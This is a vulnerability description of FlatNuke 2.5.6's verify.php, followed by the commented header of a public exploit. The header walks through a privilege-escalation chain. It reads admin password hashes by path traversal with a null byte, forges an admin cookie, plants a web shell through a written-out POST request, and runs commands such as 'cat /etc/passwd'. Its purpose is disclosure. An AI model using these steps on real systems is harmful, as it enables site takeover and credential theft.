[原文]verify.php in FlatNuke 2.5.6 allows remote authenticated administrators to modify arbitrary PHP files by setting the file parameter to an arbitrary file and injecting the code into the body parameter. NOTE: if a FlatNuke administrator is normally assumed to be able to modify arbitrary content, then this issue does not cross privilege boundaries and would not be a vulnerability.

#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc is off you can have any admin/user MD5
# password hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
